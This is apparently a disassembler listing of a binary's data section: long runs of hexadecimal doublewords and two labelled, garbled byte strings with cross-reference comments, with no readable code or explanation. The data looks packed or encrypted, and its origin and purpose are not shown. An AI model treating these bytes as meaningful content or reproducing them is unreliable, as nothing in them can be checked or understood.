		dd 533842Ch, 0EC4E2972h, 5C02E044h, 0C7225028h,	292260EFh
		dd 12709835h, 0E3163B00h, 0F4C3B380h, 0DC9000CAh, 0B5202F31h
		dd 0A3E21789h, 0C90CDE00h, 2E7A5633h, 0FF2800A8h, 316760E8h
		dd 0D0FCFCFAh, 0C500BD73h, 8C0DD85Fh, 395D7652h, 9F80CD34h
		dd 3F2B3EE1h, 7E00269Ah, 0DBC7FF0Eh, 0C0A1E9h, 54B4FDA5h
		dd 2643088h, 0E5921E00h, 2FB5DA25h, 976F0A4Ah, 2EA2D65h
		dd 32C6AA4Ch, 33AD160h,	0A662F8A8h, 984F8424h, 0DF900100h
		dd 0E344788h, 891F24Dh,	0C067BEA0h, 450E932Fh, 0A341D70Dh
		dd 0FBFA16D2h, 0E85D9844h, 68D56077h, 70B62321h, 6869F007h
		dd 80A80C89h, 725C0EBDh, 4D00010Bh, 30C75390h, 78D1C2E3h
		dd 0EA2E00EFh, 32DD2163h, 0E907D54Eh, 0A5133A5Fh, 35A71610h
		dd 20010799h, 0B0AC7E50h, 0FEB04338h, 0E49F8301h, 0D58E8A6Dh
		dd 7C74D8h, 5C6A330Ah, 39E9705Ah, 56516700h, 0EA3D04DFh
		dd 31C60036h, 0AE32EDC4h, 33042A16h, 72916445h,	0D0E389C3h
		dd 43A507h, 148D4C0Bh, 6FD1C520h, 0B086E139h, 316008C3h
		dd 944201D7h, 7E9040D9h, 92AADC4Bh, 0AD385D00h,	8D43C398h
		dd 0D659005Fh, 632532CBh, 1A00CE2Dh, 874B29AFh,	0F61B5DF1h
		dd 11F700A2h, 683C9E41h, 0DA281CB3h, 0F40E9C14h, 0C0427D85h
		dd 3A651F06h, 0EED0001Eh, 0C31DE8DCh, 2A3E515Eh, 4AD3802Bh
		dd 0E20FF524h, 95A800BDh, 3C8413F4h, 501FD533h,	9C41587h
		dd 3480CE2Ch, 0DEA0E1h,	8C9F2A9Eh, 41716702h, 4C35AB01h
		dd 0B2B40A2Eh, 24AB70h,	8A1E2973h, 353DE6D8h, 80273900h
		dd 8D3E2151h, 0BBEB001Ch, 0D3CDF4FBh, 78000AA0h, 0B1BD0D6Bh
		dd 37A63E2h, 44E1918Ah,	26BB14E0h, 0B8DA29B0h, 0A0045B78h
		dd 0B43618D3h, 9EFE3CC0h, 12790198h, 0E749687Bh, 8EC1FB3Fh
		dd 0ADD8E003h, 0CB2F7001h, 0AC9F9CAh, 35BEE0EBh, 3FB93C15h
		dd 0A9386400h, 24AB60AEh, 0C966132Eh, 3D528500h, 0B97F5Ah
		dd 2036714Ah, 0A25E78F4h, 17B88600h, 9E34FDC6h,	75600EEAh
		dd 9AE0E12Eh, 8F117D97h, 641D1A1Ch, 0C83BC200h,	0E0EAD4F4h
		dd 0B075724Ch, 0D7EC31F6h, 0DCF129D8h, 850135B2h, 7361780Eh
		dd 2F0B8F5h, 0CE9022h, 0C2F910D2h, 76267BCDh, 2EACA530h
		dd 5E1AAFh, 4E812A59h, 0FA194786h, 83422B01h, 0D528835h
		dd 336C9E0h, 0AA77E9A7h, 0F09FC38Fh, 4FBA7E96h,	7A45C612h
		dd 197D300h, 0C1BEFFh, 7D78456h, 9F8217F1h, 30901100h
		dd 3F5E9910h, 4A1F2678h, 349800F8h, 6A6EEBE1h, 82A6DC38h
		dd 323F8512h, 0EF1C40D7h, 408F005Dh, 25D24FFAh,	5F00D61Ch
		dd 1904BFA2h, 0B46D17h,	0F6E9952Eh, 18A13549h, 570E677Bh
		dd 2F947D04h, 2CA800B2h, 1329ACF6h, 93943DDh, 74B06B1Ch
		dd 19002AD4h, 0C9E06E12h, 3C42FFh, 2220ACF4h, 0D60D32F8h
		dd 409A5507h, 0C9D1E514h, 79A42F8Bh, 0DC013FCCh, 10BD64B6h
		dd 0C414EC6Dh, 0F3952000h, 0A697B84Fh, 835348F5h, 0F88A3100h
		dd 0CEBEC72Ch, 7D017F00h, 386164E9h, 0F2D738A6h, 46724700h
		dd 11AAE2C5h, 0EAE66F01h, 41D86C52h, 21AB1C8h, 10DABCCAh
		dd 80A3AB18h, 8D909D2Ah, 7B005B6Ah, 380521C8h, 1C5149Ch
		dd 0EDD7A470h, 0D1DE26BEh, 1FAFEC44h, 72202207h, 0D9E945h
		dd 4B336CE6h, 17F479h, 88D805FEh, 0E50C16A3h, 6D0140F2h
		dd 872A0B78h, 48C86A3Fh, 2E06000Eh, 8117F2E6h, 663FE154h
		dd 752687E3h, 0BC106488h
		dd 3738341h, 2F9CB930h,	0A3C0FF5Dh, 0BC90D9CFh,	0ECB41303h
		dd 98B3E07Bh, 2A04D6h, 0F98D0FF4h, 48F6357Dh, 0A54C0900h
		dd 0BF4116A2h, 0D38E1EFBh, 244440F1h, 0E65E1E9Ch, 55DC5F00h
		dd 5C820492h, 0E3B1C63h, 3A0C40E7h, 83054979h, 584D8A00h
		dd 52EF6B99h, 0C1D90FFFh, 666008D3h, 0F7FEB93Ch, 480F6AF2h
		dd 0DC27459Ch, 88EB9DC0h, 6EA858h, 253740E9h, 8A8061F7h
		dd 0B26D0D00h, 0DAB727C2h, 75FDE8E3h, 0BBE900D4h, 41D55B02h
		dd 0F400FAB9h, 97A65E7Fh, 54D9F6h, 682C79ADh, 0CD9A070Fh
		dd 0C3705118h, 13431038h, 0B18C2h, 2A79B8D8h, 563D9C6Eh
		dd 0A644001Bh, 45D281D9h, 5C9A89h, 87D7A58Fh, 0A0276542h
		dd 0BF0010B0h, 4C54C3EAh, 0B8CD4E91h, 0C13538A9h, 8114CC00h
		dd 94B4FC61h, 960F7400h, 550AD2C4h, 0EDC3FA6h, 0B67DD800h
		dd 0EA5A724Dh, 94678C01h, 575C6639h, 0D80F5C7h,	0B6E45EEh
		dd 7F99A258h, 27872F00h, 0E3030A51h, 0F10F1592h, 2480BD4Fh
		dd 21502Bh, 2CAB1E5h, 9AA54249h, 0AF7A5200h, 0A94F38EEh
		dd 86D601F8h, 6793F150h, 0EC5FD969h, 2C14491Ah,	0E8B894h
		dd 1EA55C42h, 0C9DE72h,	9CFA8F7h, 0B20C5CCh, 828BC200h
		dd 0D92CBB07h, 444D007Ah, 9E94F2DAh, 14007D0Dh,	60578130h
		dd 0BD5837h, 0C9A71BEBh, 0B521C62Dh, 9114B3Ah, 80BFCB76h
		dd 4EBB0ED0h, 99987682h, 0CA3E0038h, 0D816B4C3h, 4C6ACF39h
		dd 4CE005F0h, 8CC06DF4h, 25F7BDCh, 26BF349Bh, 0C8807520h
		dd 0FB9C2AFFh, 33EE700Fh, 6FBAE48Ah, 5073ECC1h,	4548430h
		dd 4B779DFCh, 3029C73Dh, 0B99BF36Ah, 97CFB03h, 7B54E1EBh
		dd 705C002Ah, 0FD65A48h, 35008C3Ah, 1A0799A3h, 9BE511h
		dd 0D83DCC14h, 0A05752C1h, 0ED0A4300h, 5E775433h, 0C5EB00BEh
		dd 446C17C9h, 2E1415AFh, 70C0F929h, 98B83F00h, 0EC842D81h
		dd 3AB0E4h, 0D66B83DBh,	0DE2FA330h, 0C8A0BBF4h,	580057D0h
		dd 0DBE19847h, 555D70h,	0C1E49DC0h, 0E00982C4h,	0BD9D800h
		dd 0D3891E6Bh, 3E200F9h, 9274F13Dh, 6700BAA2h, 0D8DD7FBFh
		dd 1419E05h, 0B70CED22h, 20CBC05Bh, 0E4012370h,	2C71EBFCh
		dd 3231C74Ah, 0B93400C3h, 3732A58Dh, 0F5007C19h, 0CF3126D2h
		dd 1C829EABh, 0A4149441h, 0D6AE01B3h, 34658AECh, 0C0C0B200h
		dd 30D7F8FEh, 0F98B04E3h, 0C0E5205Bh, 0B480FD0Ah, 0D09D7800h
		dd 4F99B177h, 0DF7303h,	0AB5B7212h, 4484A661h, 4455D4Ch
		dd 2541C960h, 4FD58980h, 16F57211h, 0B7977A4h, 480066DFh
		dd 0F99A824h, 211D91F8h, 71405111h, 676F2B20h, 0F78F00D0h
		dd 501C0DCEh, 130E3DBDh, 0E07C4706h, 0FED016E7h, 0AED90002h
		dd 59B25871h, 6E0055E9h, 4CD2CEE2h, 3027BA19h, 90A09F54h
		dd 8E000C15h, 14720A42h, 56A3B8h, 84783669h, 0CF6E371h
		dd 20DEE905h, 0B4D78C01h, 0D3C5C130h, 9C450063h, 18C0253Ah
		dd 0B81809D0h, 31B8BF6Fh, 0EB720007h, 225FF432h, 0A2EE993Eh
		dd 0CA106A01h, 6681AE33h, 1CB650F4h, 408B1F69h,	5E41AAE5h
		dd 0E91E75DAh, 0AF40BD94h, 2019E103h, 0FE27007Fh, 0E8791FAAh
		dd 3112D10Dh, 8C401145h, 1823FA9Ah, 2AF0026Ch, 0E7D9E35Bh
		dd 9C83D040h, 16C1B5Ch,	192CDD94h, 2C30A693h, 11677D25h
		dd 601CBDh, 1D2A33BFh, 102DCE4h, 6C586197h, 574D74A8h
		dd 0C3FD10C8h, 8200064Bh, 5360BF10h, 0E39031h, 43374EE7h
		dd 6D8020B0h, 0D17C9109h, 635C005Dh, 3FB3556h, 965283EAh
		dd 0C4C8B9BEh, 0B6005E26h, 0A230F842h, 1312C83Ch, 81D80h
		dd 10B81888h, 2A1F9CAFh, 0E280A103h, 7C70EB14h,	794F0556h
		dd 3B729D6h, 2AAFFED6h,	0C9A77D0h, 1F3EC871h, 519C0048h
		dd 71699B5Bh, 1CA8001Dh, 2C2DD85Fh, 2A019572h, 3E5AAA7Eh
		dd 4C30BBA5h, 54EA0093h, 380B1490h, 772E08Dh, 490F1700h
		dd 0C706F0C3h, 53E900A1h, 4F7751A5h, 0AC98CF94h, 3116B072h
		dd 3C02ED89h, 7AB1D96h,	2C51A254h, 0FB5F60E0h, 0EC2DC400h
		dd 0F4C9CCDFh, 0D76300E1h, 0AB2CB43Dh, 940006AEh, 0FCA68BC6h
		dd 324781h, 44FA3C9Bh, 0F87976EFh, 547FBE01h, 5F71E67Ch
		dd 0CFA1A840h, 9919006Bh, 4FED286Dh, 7037F1A4h,	8F7080DDh
		dd 1FBD5FE0h, 426B7E60h, 9903D4DFh, 5EFB4077h, 30FD003Eh
		dd 75EA9511h, 51002FEBh, 3C3F4D8Ch, 2B808h, 8EE8FA92h
		dd 9FF06139h, 70CB04Ch,	0DD3033Ah, 0DF87E740h, 897D035Ch
		dd 0CEB06531h, 0C0C1C4B0h, 0E97CE600h, 0D05A7E08h, 61C90028h
		dd 58E84873h, 2F29603h,	0A988B61Dh, 0D751CBh, 892B4A39h
		dd 3BCF3E18h, 1B774D01h, 40D271A6h, 21D3D4D2h, 73ABDE01h
		dd 2E2D799Fh, 4E066038h, 0F8A96245h, 989E1E01h,	4A90AEF5h
		dd 0E569003Fh, 0E7EF64Bh, 0A4508900h, 70608780h, 6E300E9h
		dd 0E802DEBFh, 4100DB76h, 9653A582h, 1219BF9h, 0B868E8Fh
		dd 0E09CF6D9h, 2F00B6A7h, 24BD2EDDh, 13ABC83h, 0EA7F5FCCh
		dd 0FC449E4Dh, 800B0CA7h, 80AC127Eh, 9D096D1Eh,	308E00A8h
		dd 3ED8205h, 50C0B001h,	51E9D79Fh, 0E7C600FDh, 0BA71071Bh
		dd 5700E4DDh, 0A09A9964h, 6C88BBh, 1D9EE737h, 59E14352h
		dd 0D47DC11Fh, 0B0000FD6h, 0D934589Bh, 4088A078h, 207B0025h
		dd 0A6621AB1h, 87167329h, 5807E672h, 7C705242h,	3514EBCh
		dd 0C3931231h, 0D5E877D9h, 0B50F7383h, 0C0F4EB6Ch, 29D83FE8h
		dd 48A4CDFh, 4977C104h,	6770C7EAh, 40228098h, 0B1004829h
		dd 4C9B6CE9h, 1D4EFB42h, 8F179EA8h, 55635A0h, 4116B010h
		dd 3A44D4D8h, 7CC007B5h, 18B51F1h, 8E38B0A5h, 24BD60D7h
		dd 0AA021CCCh, 5FE3B267h, 0C824C04Ah, 4EFC0029h, 35C5B4FAh
		dd 0DF09E9E1h, 0CB8DF58Fh, 311AB888h, 0DCAA0F5Ah, 2F200EA6h
		dd 66FAF87Ah, 0D5054C98h, 0E94E2DD0h, 2E2AA881h, 80DE07D4h
		dd 44006DBBh, 0B3764993h, 43CD6Eh, 0D135A727h, 60BE0CD5h
		dd 6D856C03h, 0F09E499Ah, 0CB06E0h, 0BC1B5DD9h,	3EF7B7A0h
		dd 0ADB2C801h, 0B16BCD15h, 0C65F2601h, 0DE609C40h, 742FD600h
		dd 17F4CF8Eh, 0AB44587Eh, 46505500h, 600CCCBBh,	2E940909h
		dd 0D7C46075h, 0F2FB032Bh, 52EF7A7Dh, 0DB423AD8h, 9D59CC00h
		dd 7201C262h, 0D2870675h, 0D0AA8341h, 0F6016477h, 99C38090h
		dd 4D20E2C1h, 0ACC400FDh, 0C7EB292Ah, 4E4C093Bh, 18E60B5Ch
		dd 0BE142392h, 0EDBFC0A5h, 0F6C203E4h, 705AAE6Dh, 3C6AA0BFh
		dd 7B01B7B3h, 41DAACEFh, 6830E888h, 0D1B5002Eh,	1E9EE525h
		dd 1F7624ECh, 890BFC00h, 0F9C4625Fh, 0CFB098Fh,	8F000EC9h
		dd 2C44B4ECh, 8201D778h, 0CE8DC4A4h, 0E03F31D4h, 1AE60B23h
		dd 0FAD52526h, 8E04E020h, 0EDCDDA09h, 0A85D8700h, 0DB80A2E7h
		dd 0B863264Dh, 700E8018h, 55DC4723h, 0AC17347Ah, 8C1CC7DDh
		dd 0BE6D3987h, 0EB2281EEh, 0DCC4BCF9h, 17950040h, 0CC13655Eh
		dd 0B287035h, 8617E0B5h, 88019480h, 529514F0h, 4928F8h
		dd 0B513E0AAh, 30688761h, 0CD8C8300h, 5E770925h, 0DC3109B4h
		dd 60608D88h, 8BF2C068h, 1D4EE39h, 237BF507h, 22E12F24h
		dd 2C8AD074h, 28CC11h, 0EE820FD1h, 6C00E566h, 0A65285F8h
		dd 60566DAEh, 735BF0CAh, 5C54693Bh, 0E45C53E0h,	43F206D8h
		dd 0B60596h, 0CD590ECFh, 0BCA9499Eh, 920824Ch, 8093422Fh
		dd 8EFA8BEh, 303C0483h,	0A0D65696h, 250FECC8h, 5462F7h
		dd 2C81798Dh, 30CA5C45h, 17D29400h, 1B39BDFAh, 503427Ch
		dd 1AA4E5D0h, 10E1E81Dh
		dd 300324E3h, 0FCCA8044h, 2F7B7248h, 2848009h, 0CC6C2073h
		dd 940BB662h, 61B107C0h, 4819F00Ah, 0BA4C7D9Dh,	1B460004h
		dd 0B65C180Bh, 94BC0010h, 0A5E14B8Eh, 4C001AFFh, 0D3F32371h
		dd 3366CDAh, 0D5078D4Dh, 0DFD1F408h, 0B46820A1h, 0FA17D8B0h
		dd 7C40C03Ah, 0F2C4D939h, 35231C57h, 1CAF4692h,	463A0266h
		dd 71C080EAh, 3F68D5C9h, 0CCF507CBh, 103CF667h,	0C6EF469Bh
		dd 2FB5A600h, 9CBB6C05h, 53FC1847h, 24B9581Ch, 0DCDC58h
		dd 91A5B21Bh, 2CB37A34h, 7354F65h, 306D3E0h, 0D0B72FD8h
		dd 0F1346B64h, 80E4663Fh, 2547B29Fh, 7F10C7A6h,	7E5324AEh
		dd 422A1F74h, 0F12ED5F8h, 11B00040h, 0B6006875h, 95A9DBC2h
		dd 3260C3Bh, 1789B4F9h,	50012E8Ah, 78563C61h, 0FEE4AA24h
		dd 80F2E3h, 1FD8C627h, 86483DD9h, 518B780Bh, 0A5988006h
		dd 174AE05h, 3717F35Dh,	0E862D464h, 42009CA3h, 991821CAh
		dd 90FDB0h, 8BBF35CEh, 4617919h, 0EC268200h, 1FC5E160h
		dd 2E74E0DDh, 388D731h,	4BC805BAh, 73CEEEE0h, 0A2FDCA00h
		dd 64F7CFF6h, 0FC2007BDh, 71ACF29Dh, 0D4939261h, 6003277Eh
		dd 0E1A93A78h, 0F0E0F44Ah, 0C0A74230h, 84442A33h, 396B0074h
		dd 26B2BB58h, 61031CE2h, 0AECA06D8h, 8E13D8A7h,	2DCAA0C4h
		dd 0FA7302DCh, 0EE91C085h, 31303AF4h, 0C1596h, 6E24478Dh
		dd 36F0BDF9h, 0E7CE7300h, 4E7D50B5h, 0D110006Ch, 1CEAA9CAh
		dd 727C98C7h, 12784D58h, 88D0A74Bh, 0E4D741B7h,	0CE050079h
		dd 8BA12E1Dh, 270EBE1Fh, 4042D8E2h, 0CD96DF1Bh,	0C1030018h
		dd 8BDA40B2h, 98000289h, 151DEB2Bh, 387FA3h, 3BB5E3D6h
		dd 13F7E273h, 4F399A04h, 0F4C02D0Fh, 70BFF96h, 110ADE33h
		dd 495A409Eh, 0EF00B36Ch, 5C1AA546h, 3CB2A4h, 0D989749Ch
aAvaSx		db 'AvaÒså',0           ; DATA XREF: ___:00444AF4o
					; ___:00444B0Co ...
aRSdjD0		db '!S¤J±„0',0
		dd 9DB6AAE1h, 8B4613E7h, 142584Ch, 7A207C08h, 66EC4E5Ah
		dd 5EE60049h, 0B2EE9FAh, 0BB07E393h, 0E80E03D9h, 15A8B2C0h
		dd 0C7200EC8h, 868757A1h, 6C8099BCh, 51677A1Dh,	28B1F312h
		dd 0D0DC5000h, 119AF22h, 5CC8E1F0h, 2D2FDA6Bh, 0AD6A0060h
		dd 0FAA586E0h, 0A7E614DEh, 0A400D851h, 5408B63Ch, 4424ED64h
		dd 68039DE0h, 0DA8963BDh, 2844E9D7h, 0BA005439h, 0A24481Bh
		dd 552FCA2Dh, 949C0023h, 74C7AAh, 13D144B9h, 0CCA99C3Fh
		dd 6AEC3875h, 7BBB7300h, 0AFCB2926h, 51FE31h, 5AFBE116h
		dd 0D7A844EFh, 0EBE3FA00h, 68CFF14Ch, 58B0048h,	5F1840D4h
		dd 7D00FC6Dh, 0ED2EB6BDh, 4F989Eh, 69C00111h, 5FCB34BAh
		dd 77081E16h, 543CD044h, 7FFF0C8h, 0E2CF982Ah, 98A30B20h
		dd 0E0C02385h, 5C0004AAh, 16C41170h, 888BDh, 941EB4CDh
		dd 1DC74A22h, 8E37E200h, 9DC7C52h, 924C0189h, 0D603CE8Bh
		dd 0C2020A0h, 0D2536301h, 4C1768F5h, 7DBDE4E0h,	0F7130077h
		dd 0C9FBDB7Fh, 0BB003D93h, 0DA76F035h, 7E9A039h, 6D4B6CF1h
		dd 0AD54509Ch, 0FA00DFB1h, 0C5622FF4h, 3A60E79Bh, 0D03063D8h
		dd 26097196h, 0FF653001h, 2D2F16EFh, 7885A6C8h,	0A550079h
		dd 2A1E4F6Ch, 0E503F818h, 1B457075h, 53F4985Eh,	0BE65130Fh
		dd 1B00ABB4h, 356ACA01h, 10430A58h, 0F84182h, 2AD57C4Ch
		dd 17001EA1h, 0E897C08Eh, 4433F9h, 0B90D4B75h, 0A71DD38Dh
		dd 47988250h, 857A2Fh, 34DC1B90h, 6F7D1F0Bh, 0C01C82E3h
		dd 94603BF5h, 261CB8F9h, 0A300C975h, 37767857h,	8A4700A1h
		dd 0BD4A5B6Dh, 8500B1BEh, 81F8BAD9h, 98050B78h,	0C1E5C6Ch
		dd 2D17E403h, 7D80A3FDh, 9B00D4F9h, 9AAB3328h, 7238F2h
		dd 0BEA23934h, 74D6CBE7h, 3726DF13h, 67B0F702h,	7A58487Dh
		dd 1CC600ABh, 160376DDh, 27005C8Ch, 0C3DB60D3h,	1720B4Dh
		dd 8F3E614Ch, 201D7519h, 7B04C598h, 0B304305Fh,	5B8A3880h
		dd 6C4B0369h, 538D42BCh, 6B0428D6h, 78A689E4h, 12BBA097h
		dd 805CD3C4h, 32DD4AF1h, 130FC37Dh, 0C1D869D9h,	55DB46EDh
		dd 0FA33F460h, 5FEC00BFh, 0ACAF56ADh, 0E017DCE4h, 3009C952h
		dd 4BB8110h, 65E069CEh,	0A46181Ah, 64D77642h, 0F38D5703h
		dd 0B8115D41h, 1BCCBE9h, 3325E5EAh, 0C0D734A4h,	0CE00175Eh
		dd 0DB703C3Ah, 2D38FAh,	0E6D37FBCh, 896DE564h, 0BE26523Dh
		dd 0A71E93EAh, 79C1210h, 0ABCC2EF6h, 623AB7E0h,	0FD9300B5h
		dd 0E4229911h, 97EF60h,	0D10488C8h, 0BA5E0E3Bh,	0E2C1B54Ah
		dd 62224FB6h, 29AD00ACh, 97DEAB54h, 0CCB235h, 89148EB3h
		dd 1C835D28h, 0C7D9E51Fh, 48D18100h, 175752B6h,	0DCE7AE94h
		dd 0C8B4A0D0h, 2D03F0ACh, 82C0C9A6h, 7ACC0D6h, 277C0C9Eh
		dd 1EE62989h
dword_524550	dd 984F241Fh, 780EFE57h, 83DB80E3h, 9B3235h, 0D92EA31Dh
					; DATA XREF: ___:004449E4o
		dd 0AAE23945h, 3D20D02h, 405849EEh, 0D0D789h, 8EB88D3Bh
		dd 7F9232A1h, 1C8F7A58h, 10CED321h, 0ACA58067h,	60B3CDEh
		dd 0BF2FF0CEh, 0B500E21Bh, 5B0CC9E0h, 140A9A8h,	756B7938h
		dd 0DCE1864Eh, 309060C2h, 0F53D0900h, 72E07C7Bh, 63B80762h
		dd 220AEE6Eh, 6C504CF1h, 0D0167700h, 5DB894CCh,	0BAF90071h
		dd 5AEC653Fh, 32000213h, 0D8A0F86Eh, 43DC39h, 0E2C05872h
		dd 165CCB04h, 3E2E9003h, 0B70170F6h, 0E8F269E3h, 242A52EBh
		dd 4CFAA2h, 4BDD34A0h, 18C0D613h, 98A6CC90h, 0DEF21823h
		dd 5D7A0892h, 9F20FC63h, 8F34E02Bh, 6E981DA4h, 0A93040A3h
		dd 6C83CDF3h, 0E11E11F4h, 554079DCh, 2D04BC54h,	6197077Fh
		dd 0FC364029h, 43005A18h, 8D92A0BAh, 7C739DBDh,	807713h
		dd 0A6527E86h, 0AA46DAB5h, 98C3C598h, 9FEE5515h, 989E894Dh
		dd 4229C3DDh, 67B06C3Ch, 8A00121Dh, 0EAC59A4Dh,	0C0911033h
		dd 7C9FB1B0h, 20A0E155h, 0D2015CA9h, 0BA293E27h, 0BCD005FFh
		dd 13550BD3h, 680ABCDh,	307B66D7h, 40B91000h, 20E8FEC4h
		dd 5F3E0347h, 51E0E02h,	53D08788h, 360012E2h, 812CA154h
		dd 0A0FD85EFh, 3F4143A0h, 9080E642h, 0CAC038E9h, 7400198Eh
		dd 0A0FF85D2h, 0E267B165h, 0CCD50F92h, 4C5F9029h, 0D0A8089Bh
		dd 0E1A0A573h, 591F728Bh, 74C07781h, 17145C5Dh,	88C900BDh
		dd 23EB2613h, 7D00AEBEh, 6DD53EF7h, 736ECFDh, 0E62F27E3h
		dd 2AB38069h, 43FCFC74h, 1F7AB200h, 52A8308Eh, 0C1DC005Ch
		dd 0D667194Fh, 8200BA3Eh, 0EA02CEF9h, 12D336E1h, 0CCAA26h
		dd 5544A77Fh, 88E42A53h, 7F92C02h, 0DD25E069h, 0E58A6E80h
		dd 9A0124EAh, 0E1314A81h, 0BC52299Eh, 7704952Ah, 69C0841Fh
		dd 5C346ACh, 200F5280h,	0FA21CDE0h, 227A10C0h, 0A73098h
		dd 4BE81472h, 0BF37074Dh, 0CD2A7700h, 0D7D81F33h, 0CACE327Ah
		dd 0B011F029h, 20444F08h, 0DCCF4451h, 1D641084h, 80B2178h
		dd 0C2BED306h, 2810FF11h, 0B5733C47h, 85080489h, 0A3296664h
		dd 12DE3821h, 61C41020h, 8B1EFF88h, 8C22E2B2h, 67082EDAh
		dd 7C84FB90h, 0D96844E7h, 0CBF7B200h, 740040B5h, 0F1573B9Ah
		dd 0CF8E23h, 1AD1701Ch,	6324C0AEh, 87B9E500h, 0D3C9AD2Fh
		dd 2A1100CBh, 86B6A428h, 39005C09h, 414E475Ah, 0F03199h
		dd 78D436BDh, 0E9162579h, 0FBF1E02Ch, 0DC56B100h, 1CA4D313h
		dd 7C9E1BD1h, 587B4084h, 582C0A0h, 1201F02Ch, 9D17666Ah
		dd 0F4C09B03h, 0D0CA3B33h, 0E5D1CD00h, 0AF93DD47h, 8F281400h
		dd 0A2835ED7h, 0BAE4003Ah, 23B33ECAh, 7B01756Fh, 0C2A43D3Fh
		dd 2824D55Eh, 6D80089h,	9B0A3638h, 0DE0009B1h, 682A05BBh
		dd 0D57E49h, 285F7CA7h,	0D9A6C53Dh, 4812D600h, 0C3EC6CCh
		dd 18E8F404h, 98E6495Ah, 5000190Eh, 10A91B4Bh, 0F5FB18Eh
		dd 0D566BD3Eh, 2DE97002h, 917E8B58h, 0C5561709h, 0B55C20CBh
		dd 1BD9BB4Dh, 849A1413h, 96B042AEh, 0A498EB60h,	0DC039h
		dd 0F45B7248h, 0CD0C694Ah, 8D5F0100h, 767A2540h, 56F48Eh
		dd 87ECFE2Ch, 3D2B94A2h, 49EACD03h, 0F6C5BBACh,	77FDFEC0h
		dd 0D93500B5h, 480F066Ah, 0EBE2440Ah, 591E2FFAh, 439C4731h
		dd 1E8F0B00h, 1E3DAD93h, 7FE6AB3h, 216D151Dh, 0C01F22FAh
		dd 800046A1h, 0F98E7A42h, 0A3CE9A7h, 0DED095BCh, 0AFF300E4h
		dd 9C1735BBh, 41AB9202h, 8076E1C5h, 0D0376AA0h,	1078977Bh
		dd 0C80028F6h, 6609442Fh, 0A1619Dh, 6BBF9B0h, 0E71D975Fh
		dd 1932AB0Fh, 0C85220B7h, 0B8766C21h, 3F2C09FFh, 811EFEh
		dd 607C92A5h, 7AE01BD3h, 0E46D7200h, 0A13538F0h, 480A5C71h
		dd 0B8BE4100h, 0B918F6CBh, 75729B00h, 0FD95500Dh, 2C990053h
		dd 0BBCCA54Dh, 0AA03BD71h, 0E154338Eh, 0F8B4E309h, 9259089h
		dd 0C5686CA1h, 60FF4100h, 0AB7B07EEh, 9A4C5Ch, 0B28EC8Bh
		dd 1C5A608h, 278CD310h,	70A2A46Ah, 0F01F2B21h, 4A00EAD5h
		dd 29552D25h, 9DF7E35h,	0C0E60710h, 820B6402h, 0AD8D0C48h
		dd 10202F6h, 2034B796h,	0D0AAE02Bh, 9EC76E3h, 0B2664908h
		dd 3BF78CA0h, 700D5A7h,	69EDB6EFh, 0EB9802h, 0E5847127h
		dd 0D6C14618h, 34F8FA24h, 0FB078800h, 696413h, 9F08A5C5h
		dd 0C12E3EE7h, 8058563Eh, 0E374BD23h, 501927Fh,	206E6762h
		dd 0CF400D1h, 0D683F412h, 0FA813602h, 4097F825h, 67FF1Ch
		dd 9B6E6A3h, 33BE002h, 592A5809h, 646079Ah, 3438AB80h
		dd 5C53006Ah, 4B27E1BDh, 46007B2Bh, 0A7F45250h,	0B569FEh
		dd 0A1670E49h, 0D8D73FBBh, 68774F03h, 0D095EEAAh, 7C44AF64h
		dd 31C71772h, 0E638008Eh, 7D2C7E22h, 0B7C3F607h, 56B0C4EFh
		dd 1F9CBB05h, 0C095961Bh, 0BFF293E1h, 8800654Bh, 64E9180Fh
		dd 0EE754h, 0F11FA6E2h,	7AFD823Ch, 47709400h, 1BD6D8B4h
		dd 0B660084h, 269D6D78h, 0EA7B2D67h, 29A0CC00h,	0BEE29A9Bh
		dd 0BB1100CDh, 7F1FF844h, 861C92A2h, 2900C722h,	0F52E73F6h
		dd 0FF13003Ah, 0F09D99BAh, 0C99C53Eh, 219E0B00h, 0D70D48h
		dd 74A36024h, 0CB33973Ch, 80BBC600h, 1548028Eh,	0DB6201ECh
		dd 8AFE34F8h, 0AE3020C8h, 8E675F06h, 6210D5D6h,	0CD59764Ah
		dd 0C765A240h, 933A7A00h, 9DD4E55h, 553043Dh, 97649749h
		dd 85E74024h, 9913D4F1h, 68074B42h, 2D2126D1h, 10A4B083h
		dd 6F7D002Fh, 0BCC20512h, 4701A0E6h, 0E67F043Bh, 0D46428F1h
		dd 0C2E50E0Ch, 0BB449706h, 611080CEh, 0CD3C5F2Eh, 178485Ch
		dd 0B13CFD05h, 0DC301D32h, 15182094h, 9AF68B7Ah, 0AC7CECA0h
		dd 404C9900h, 4485F0DBh, 1DB90082h, 65CFCED5h, 0C241455h
		dd 4F07DC86h, 0B7F220ACh, 0DBC0DD36h, 0F9013E84h, 86379DCh
		dd 52C41832h, 0B71A6h, 5426294Ah, 0F373E8CBh, 1B81D91Dh
		dd 903D7B80h, 1E501C9h,	0B12D9F37h, 0EC2B9364h,	0CF58BDF1h
		dd 0D7DB00A6h, 7857551Fh, 0DC3506CDh, 282EE016h, 1211EB00h
		dd 0B73E3A0Fh, 0D01C26D5h, 4C8E3B30h, 0DB6269CEh, 0D460A3E0h
		dd 55489D8Ch, 37D6009Ch, 30FC925Bh, 21C51CBAh, 782FC008h
		dd 971D3B94h, 0B1834A00h, 239D1069h, 24C8903Ch,	1217B9h
		dd 340A5089h, 6E72FB6Dh, 6901AF0Eh, 2E36E34Dh, 95F1F16Ah
		dd 5D194F8h, 2A9B71BCh,	29B80114h, 0DC04A23Eh, 964A7A87h
		dd 72CF8B0h, 0BD7F5F6Dh, 0CD4E7059h, 0E80429B2h, 45A54C12h
		dd 0A0ED9ACh, 8E0061E1h, 0F144E04Dh, 0D915D70Ah, 0F801C8A8h
		dd 0D640BD7Eh, 7948C8h,	46F5502Eh, 10674523h, 1A01A102h
		dd 0C8A8FA54h, 1CD35064h, 0C080787Eh, 0A3098E45h, 0C73D4F01h
		dd 0FFFC5443h, 0E47A503h, 2AEB2Fh, 0B7F5EC8Ch, 1B87B48Bh
		dd 4F8E8F00h, 0C547C980h, 90DC00AFh, 1D420910h,	7B0F2508h
		dd 25A30ABFh, 0D803D8B5h, 8FA9C54Ch, 608035C2h,	28ACE590h
		dd 39DCFA06h, 678020CAh, 411377B2h, 0BF7325E8h,	1C00A1ECh
		dd 0CBFE9E7Dh, 713F5AECh, 4F3900F0h, 0C80B61E6h, 0F70287CDh
		dd 3B90E7D2h, 7089E077h, 197623h, 0A9BAFBF0h, 3A5E50CBh
		dd 16712200h, 0EC6C45F5h, 83D5004Ah, 0A610A46Bh, 0E700C5CAh
